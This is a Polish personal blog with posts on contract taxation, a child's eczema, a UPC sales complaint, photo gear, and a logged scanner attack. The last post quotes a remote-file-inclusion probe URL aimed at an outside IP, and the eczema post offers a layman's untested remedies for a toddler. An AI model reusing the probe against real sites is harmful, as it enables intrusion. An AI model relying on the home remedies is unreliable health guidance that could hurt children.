Umowa-zlecenie a działalność gospodarcza – addendum

Perypetie opisane w ostatnim poście dotyczyły rzecz jasna tylko li jedynie… podatku dochodowego.

W przypadku, gdy chodzi o ubezpieczenia zdrowotne, sprawa wg. pozyskanych przeze mnie informacji z ZUS ma się zgoła inaczej. Otóż, składkę zdrowotną od umowy-zlecenia, której to zakres pokrywa się z zakresem prowadzonej działalności gospodarczej, ale będącej umową-zleceniem podpisaną imiennie, nie zaś z działalnością gospodarczą, nalezy odprowadzić. Odprowadza rzecz jasna zleceniodawca.

Zatem: zarobiliśmy, dajmy na to 1000,- zł brutto na rzeczonej umowie-zleceniu. Prowadzimy działalność gospodarczą.

Zleceniodawca jest zobowiązany odprowadzić składkę zdrowotną w wysokości (w chwili pisania tego postu) 9%. Zatem, przelewa nam na konto firmowe 910,- zł.

W KPiR księgujemy dochód brutto 1000,- zł oraz od zleceniodawcy dostajemy jakiś kwit, który świadczy o tym, że odprowadził on składkę zdrowotną w wyżej wymienionej wysokości.

Następnie od dochodu trzeba zapłacić podatek. Przy (w chwili pisania tego postu) najniższym progu podatkowym 19% będzie to 190,- zł, ale możemy od tego odliczyć już składkę zdrowotną w wysokości 7,75% podstawy. Czyli należny podatek to: 190,- zł minus 77,50 zł czyli 112,50 zł.

Proste? Nie! Logiczne? Nie! Witamy w Polsce! Tak!

Co w sytuacji, gdyby zleceniodawca na nasze oświadczenie, że prowadzimy działalność i prosimy o nieodprowadzanie zaliczek na podatek dochodowy powiedział, że ma to w nosie? Nic! Zarobione pieniądze rozliczymy jak zwykłą umowę-zlecenie (nie w ramach prowadzonej działalności) – bo wówczas doszłoby do podwójnego opodatkowania. Warto mieć dokument potwierdzający, że zleceniodawca takie powiadomienie od nas otrzymał. Bo w razie kontroli – my jesteśmy kryci, a zleceniodawca będzie miał kłopoty…

Plus, przypominam. Nie jestem prawnikiem. Wszelkie podane tu wskazówki wykorzystuj tylko i wyłącznie na własną odpowiedzialność!

Umowa-zlecenie a działalność gospodarcza.

Prowadzisz działalność gospodarczą? Pracodawca jest w stanie zatrudnić Cię tylko na umowę-zlecenie?

Taka sytuacja może mieć miejsce np. w przypadku samodzielnych publicznych zakładach opieki zdrowotnej. Pracodawca nie chce bądź nie może ogłosić konkursu ofert, więc nie ma prawa zatrudnić Cię „na kontrakcie”.

Co wówczas?

Zgodnie z informacjami uzyskanymi od niezawodnej Krajowej Informacji Podatkowej: przychody należy rozliczać w ramach prowadzonej działalności gospodarczej. Płatnik z kolei nie jest zobowiązany do poboru zaliczek, jeżeli podatnik złoży oświadczenie, że wykonywane przez niego usługi wchodzą w zakres prowadzonej działalności gospodarczej.

DISCLAIMER: nie jestem prawnikiem, nie próbowałem – dopiero próbuję (złożyłem oświadczenie 2 tygodnie temu). Zobaczymy, jak prawo działa w praktyce – już jutro!

Podstawa prawna:

Ustawa o podatku dochodowym od osób fizycznych

z dnia 26 lipca 1991

Dz.U. z 1991r. Nr 80, poz. 350

Art. 10.
1. Źródłami przychodów są:

[…]

2) działalność wykonywana osobiście,

3) pozarolnicza działalność gospodarcza,

[…]

Art. 13

Za przychody z działalności wykonywanej osobiście, o której mowa w art. 10 ust. 1 pkt 2, uważa się:

[…]

8) przychody z tytułu wykonywania usług, na podstawie umowy zlecenia lub umowy o dzieło, uzyskiwane wyłącznie od:
a) osoby fizycznej prowadzącej działalność gospodarczą, osoby prawnej i jej jednostki organizacyjnej oraz jednostki organizacyjnej niemającej osobowości prawnej,
b) właściciela (posiadacza) nieruchomości, w której lokale są wynajmowane, lub działającego w jego imieniu zarządcy albo administratora – jeżeli podatnik wykonuje te usługi wyłącznie dla potrzeb związanych z tą nieruchomością
– z wyjątkiem przychodów uzyskanych na podstawie umów zawieranych w ramach prowadzonej przez podatnika pozarolniczej działalności gospodarczej oraz przychodów, o których mowa w pkt 9,
Art. 41

[…]

2. Płatnicy nie są obowiązani do poboru zaliczek od należności z tytułów, o których mowa w art. 13 pkt 2 i 8, jeżeli podatnik złoży oświadczenie, że wykonywane przez niego usługi wchodzą w zakres prowadzonej działalności gospodarczej, o której mowa w art. 10 ust. 1 pkt 3.

Atopowe zapalenie skóry naszego dziecka

Naszego starszego dziecka, dodam.

Normalnie smarujemy Emolium – krem specjalny i jest OK. Pharmaceris też daje radę. A-derma – piękne efekty.

Ale to nie wystarczy.

W ciągu tego lata kilka razy zrobiło się dzieciakowi nie za fajnie ze skórą. Zaczerwienienie, wysięk, stan zapalny, punktowa erozja naskórka. Żeby było weselej, to w miejsach, które „pracują” – ramię na powierzchni wewnętrznej, uda na powierzchni wewnętrznej, stykającej się (tak, 2-latki są pulchniutkie), wysięk pod kolanem (pot, drapanie, wysięk, powtórz)… źle było.

Coś tknęło mnie, żeby zastosować puer płynny. Zwykły puder płynny, z anestezyną i z cynkiem. Dziecko bardzo ostro zareagowało, szczególnie, gdy zastosowanie pudru na uszkodzoną skórę sprawiło mu ból. Bywa.

Poprawa po pudrze płynnym, spytacie?

Rewelacyjna.

Zastosowany na sączące się zmiany ładnie przygaszał zarówno stan zapalny, jak i przyspieszał odbudowę naskórka – dziecko nie drapało się.

A przecież puder płynny wysusza skórę! A podstawą leczenia atopowego zapalenia skóry jest jej nawilżanie. Z drugiej strony, jest „klasyczny” pogląd w dermatologii, który mówi, żeby suche nawilżać, a wilgotne osuszać.

Tak czy siak, co mogło zadziałać tutaj? Skoro powinno być gorzej a było lepiej? Na pewno nie dodatkowe wysuszenie skóry dzieciaka. Jeżeli nie to, to co? Cynk – przeciwzapalnie. A anestezyna?

… i to nasunęło mi następujące wnioski/przypuszczenia/hipotezy:

  • są atopowe zapalenia skóry „bardziej” alergiczne i „mniej” alergiczne,
  • u naszego dzieciaka główną rolę odgrywa (jak na teraz) świąd,
  • skąd się bierze świąd u człowieka, a szczególnie konkretnie ten taki patologiczny – ha.
  • … ale jest teoria, że odpowiada za niego substancja P.

Tak czy siak, można gdzieniegdzie przeczytać, że świąd w pewien magiczny sposób mógłby stanowić formę bólu i być przewodzonym powolnymi włóknami C. Zakładając jakąś patologię w obrębie zakończeń nerwowych, która u naszego malucha mogłaby powodować nadmierne wydzielanie substancji P do skóry i następcze wydzielanie histaminy przez limfocyty, moja hipoteza działania pudru płynnego przez anestezynę – czyli przez „przyciszenie” włókien C i wygaszenie świądu – mogłaby mieć sens.

Zacząłem googlać.

Po pierwsze, znalazłem patent z 1998 roku na zastosowanie antagonistów substancji P w celu leczenia m.in. świądu. Fajnie. Czyli jesteśmy na dobrym tropie – przynajmniej teoretycznie.

Po drugie, znalazłem stronę na temat świądu, gdzie przy prawie każdym rodzaju świądu pojawia się kapsaicyna.

Po trzecie, znalazłem publikację „skóra jako organ neuroendokrynny„.

I jaki stąd wniosek? A taki, że spróbujemy krem z kapsaicyną. Najpierw tata na sobie, a potem na dzieciaku. Jest szansa, że będą dobre efekty, jeżeli chodzi o wygaszanie świądu.

PS. sterydów nigdy nie stosowaliśmy, a Elidel raz — potem znalazłem, że jest trial FDA, bo jeszcze trzeba kilka lat badać, czy nie sprzyja nowotworzeniu.

Telewizja cyfrowa UPC

Jesteśmy klientem w UPC od czerwca 2007 roku. Mieliśmy umowę promocyjną na czas określony – 15 miesięcy. Usługi? Wszystkie trzy: telefon, telewizja pełny pakiet, internet. Było bardzo fajnie – poziom usług dobry. Umowa skończyła się tak gdzieś pod koniec 2008 roku.

Gdy ten czas określony się skończył, zaczęły się… telefony od przedstawiciela.

Pewien pan (do dziś nie znam jego nazwiska) dzwonił na telefon domowy o różnych dziwnych porach, kilkakrotnie dzwonił domofonem, wpraszał się do mieszkania pod różnymi hasełkami („obniżę państwu rachunki”). Na szczęście trzeźwość moja i mojej żony pozwoliła nam uniknąć jego wizyt w naszym mieszkaniu. Niestety, były one na tyle uciążliwe, że zgłosiłem do UPC (za pomocą formularza na stronie internetowej), że nie życzymy sobie żadnych kontaktów od przedstawicieli handlowych. Następnie, zrezygnowaliśmy z telewizji analogowej w UPC, wzięliśmy ofertę od konkurencji, a w UPC podpisaliśmy umowę na telefon i na internet – bo z tych usług jesteśmy w miarę zadowoleni.

Umowa na czas określony (12 miesięcy, od lipca 2009), więc miałem nadzieję, że przez jakiś czas będzie spokój.

Przez jakiś czas był spokój.

Kilka tygodni później od podpisania umowy, do drzwi naszego mieszkania zapukał człowiek, który ominął domofon, nie umawiał się na wizytę i chciał właśnie obniżyć nam rachunki za usługi sieci kablowej. Miarka się przebrała. Gdy żona zwróciła mu PO RAZ KOLEJNY uwagę, że nie życzymy sobie wizyt od przedstawicieli i że zgłaszaliśmy to do centrali, wzruszył tylko ramionami i powiedział, że to nie działa w ten sposób. Bo centrala sobie a oni sobie.

Trudno. Bywa. Mieliśmy inne rzeczy na głowie, olałem ten incydent.

Nie powinienem. Wczoraj, o godzinie 21:30, odebrałem telefon komórkowy. Na początku wydawało mi się, że któryś z moich podpitych kumpli robi sobie jaja. Zdziwiłem się, bo był to PIJANY (albo naćpany – mówienie wyraźnie sprawiało mu trudność, powoli artykułował każde słowo) przedstawiciel firmy UPC. Zaoferował… telewizję cyfrową. Poinformowałem go, że mam już telewizję cyfrową, a nadskakujący przedstawiciele handlowi, którzy nie słuchają faktycznych życzeń klienta, osiągną efekt odwrotny od zamierzonego, czyli tak, jak w moim przypadku – przejście do konkurencji. Poleciłem najbardziej podstawowe książki z dziedziny handlu. Człowiek po drugiej stronie słuchawki na takie dictum odpowiedział:

„CZYLI ROZUMIEM, ŻE BYŁBY PAN ZAINTERESOWANY OFERTĄ TELEWIZJI CYFROWEJ?”

Ręce mi opadły. Spytałem, czy wie, która teraz jest w Polsce godzina. Odparł, że dzwonił do mnie wcześniej, ale było zajęte (ciekawy argument). Spytałem go, czy jest trzeźwy. Pan, niczym nie zrażony, zapytał ponownie, CZY BYŁBYM ZAINTERESOWANY TELEWIZJĄ CYFROWĄ W UPC. Ręce opadły powtórnie. Odpowiedziałem, że tak. Spytał, czy mógłby w takim razie się ze mną skontaktować w późniejszym terminie. Odpowiedziałem, że nie. Skończyliśmy rozmowę.

Wróciłem z dyżuru do domu, przemyślałem temat i oddzwoniłem na jego numer komórkowy. Zgłosiła się poczta głosowa pod imieniem i nazwiskiem jakiejś pani. Zadzwoniłem jeszcze raz. Odebrał. Spytałem, jak ma na imię i na nazwisko, ponieważ chciałbym złożyć na niego skargę. Nie podał. Spytałem, na jakiej podstawie przetwarza moje dane osobowe (ma moje imię, nazwisko, adres, telefon…) – również nie odpowiedział. Kilkakrotnie powtórzyłem jeszcze żądanie o przedstawienie się. Nici. Acha, i mówił wyraźnie szybciej – chyba już wytrzeźwiał. No i nie pytał o telewizję cyfrową w UPC.

Trudno – składamy skargę. Tym razem telefonicznie.

Zadzwoniłem do BOK około godziny 10:30. Miły konsultant przyjął moją skargę na potencjalnie pijanego przedstawiciela handlowego, który zadzwonił o 21:30 (czyli dużo za późno, niż przyzwoitość nakazuje). Wysłuchał też, że jeżeli ktokolwiek się z nami będzie kontaktował, to sprawę „zaniesiemy” najpierw do internetu, a potem na Policję… a następnie zapytał, że skoro byłem użytkownikiem telewizji analogowej, to CZY MOŻE BYŁBYM ZAINTERESOWANY OFERTĄ UPC NA TELEWIZJĘ CYFROWĄ.

Szlag mnie trafił. Dosłownie.

Zapytałem tego młodego człowieka, kto przeprowadza szkolenia w ich firmie, bo skoro dzwonię ze skargą na przedstawiciela handlowego (i skoro podkreśliłem, że z obecnych usług jestem zadowolony), a on próbuje wsadzić mi ofertę telewizji cyfrowej, to chyba nie są przeszkoleni za dobrze. Na co młody człowiek odparł, że skoro dzwonię do niego i ON ZAŁATWIA MI MOJĄ SPRAWĘ, to chyba mogę odpowiedzieć na JEGO pytania dotyczące telewizji cyfrowej.

Na co odparłem (zgodnie z prawdą), że w dupie mam ich telewizję cyfrową.

Na co ten młody człowiek odparł, że skoro jestem taki wulgarny, to on nie będzie kontynuował tej rozmowy.

Trudno.

Zadzwoniłem jeszcze tylko jeden jedyny raz do pana przedstawiciela (który to już nie raczył odebrać telefonu) i nagrałem mu na pocztę, że nie życzymy sobie dalszych kontaktów, oraz, że złośliwe niepokojenie innych osób to wykroczenie podlegające ściganiu z kodeksu wykroczeń właśnie.

W kościach czuję, że ciąg dalszy nastąpi. Jestem ciekaw, jakie są wasze przejścia z UPC.

Strona firmowa już stoi!

Strona firmowa już stoi. Udało się żonie sklecić ofertę i cennik, i jeszcze to wszystko okrasić jakąś minimalistyczną grafiką… http://fhu-kagami.pl/ – z jednej strony, to nie od razu Kraków zbudowano, a z drugiej – lepszy taki start, niż żaden:-) Zapraszamy!

Focenie na Zjeździe

W piątek i sobotę fotografowałem na Zjeździe PTAiIT w Janowie Lubelskim. Było to w sumie dość ciekawe doświadczenie (zarówno na płaszczyźnie personalnej, jak i sprzętowej) – dysponowałem pewną ilością nowego sprzętu, mogłem zatem sprawdzić, co będzie najlepsze do focenia w sytuacji, w jakiej się znalazłem.

Kolejno:

  • lampa Canon Speedlite 580EX II – jeżeli myślałeś kiedyś o zakupie innej lampy, zastanów się jeszcze raz. Świetne urządzenie do pracy w każdych warunkach. Jeżeli wahasz się nad tym, czy warto dołożyć te parę stów i mieć 580EX zamiast 430tki – nie wahaj się dłużej. Warto. Dołóż.:-)
  • obiektyw Canon 17-85 mm f/4.0-5.6 IS USM – jeżeli zastanawiasz się, jakie uniwersalne szkło warto kupić, zastanów się mocno nad tym. Fotografowałem nim praktycznie całą imprezę, nie rozstawałem się z nim nawet na krok:-) Jedyna wada – ciemny dosyć – ale za tą cenę…
  • obiektyw Canon 50 mm f/1.8 – jeżeli masz duże studio, nada się do portretów, ale na tego typu imprezie (zjazd naukowy) był praktycznie rzecz biorąc nieprzydatny. Może kwestia przyzwyczajenia:-) a może kwestia tego, że wiele miejsc na sali nie było dla mnie dostępne podczas wykładów – ta puszka praktycznie nie była przydatna.
  • obiektyw Sigma 10-20 mm f/4-5.6 EX DC HSM – fajny, szerokokątny… ale nie do aparatów z małymi matrycami! Moim zdaniem, na krótkim końcu daje bardzo niewielką przewagę nad kitem 18-55 czy wspomnianym 17-85 – na tyle niewielką, że nie wydaje mi się wart wydanych na niego pieniędzy.

I jeszcze na koniec zdjęcie niżej podpisanego w jego ulubionej części ośrodka szkoleniowo-edukacyjnego:-)

Zjazd Roztoczanskiego PTAiIT 2009 668

Morfeus Fucking Scanner

Mam ja sobie taki prosty system do zgłaszania błędów (via e-mail, co poniekąd jest dość dużą bolączką w razie ataków DDOS:-), ale do rzeczy. System przysłał mi dzisiaj informację o próbie wykonania takiego oto zapytania:

SELECT * FROM foo WHERE id = 'http://71.18.101.91/1.gif?/'

Nieźle, pomyślałem sobie. Próbują mnie SHACKOWAĆ. Zapytanie to nadeszło z adresu 212.12.148.109. Turcja. Klient WWW używany do tego zapytania nazywał się… „Morfeus Fucking Scanner”. 

Straszni haxxorzy!

Nie byłbym sobą, gdybym nie sprawdził, co kryje się pod adresem IP, którego pobranie najprawdopodobniej próbował wymusić „Morfeus Fucking Scanner”. Otóż http://71.18.101.91/1.gif zawiera następujący skrypt w PHP:

<?php
echo ("Morfeus hacked you");
?>

… zaś sama site wyświetla stronę następującej treści:

razor_or_hw

Dostatecznie się przeraziliśmy?

Nie całkiem. Źródło strony WWW hackerów wskazuje wyraźnie, że opracowana ona została w Microsoft Office. Bywa – jaki hacker, takie narzędzia hackerskie. Poniżej próbka kodu HTML strony:

Hacked by Razor or HW - próbka kodu HTML

Ale to jeszcze nie koniec.

Najstraszniejsza w tym wszystkim jest… mp3ka, która pobrzękuje sobie w tle wyżej wymienionej strony WWW. W razie, gdyby miała zginąć w tym całym chaosie, ściągnąłem ją i wrzuciłem na wrzuta.pl. MP3 do pobrania jest tutaj. Utwór jest rytmiczny, wykonywany – po głosach słychać – że przez młodych ludzi, zrozumieć z niego można niewiele – oprócz fraz „komm zu daddy”, „Bob Marley”, „booyaka” oraz strzałów z broni palnej niewiele zrozumiałem.

Całość skłania mnie do smutnej refleksji „tacy haxxorzy będą, jakie młodzieży chowanie”.

Edit: okazuje się, że nie ja jeden spotkałem grupę groźnych haxx0rów z Turcji: link1, link2.